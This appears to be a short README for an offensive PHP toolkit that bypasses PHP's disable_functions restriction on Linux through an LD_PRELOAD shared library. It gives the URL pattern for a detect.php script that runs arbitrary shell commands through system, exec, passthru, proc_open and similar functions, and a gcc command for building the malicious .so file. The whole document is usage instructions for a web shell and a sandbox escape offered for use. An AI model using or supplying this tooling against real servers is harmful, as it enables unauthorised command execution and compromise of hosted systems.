LD_PRELOAD.php

One PHP file bypass disable_functions with LD_PRELOAD.
Only support Linux.

CODE: https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
Paper: https://www.freebuf.com/web/192052.html

detect.php

Try to bypass disable_functions.

Detect disable_functions:

http://url/detect.php?action=test

Run COMMAND with specified function:

http://url/detect.php?action=[system|exec|passthru|shell_exec|popen|proc_open|ws|sa]&cmd=COMMAND

bypass_disablefunc.c

gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so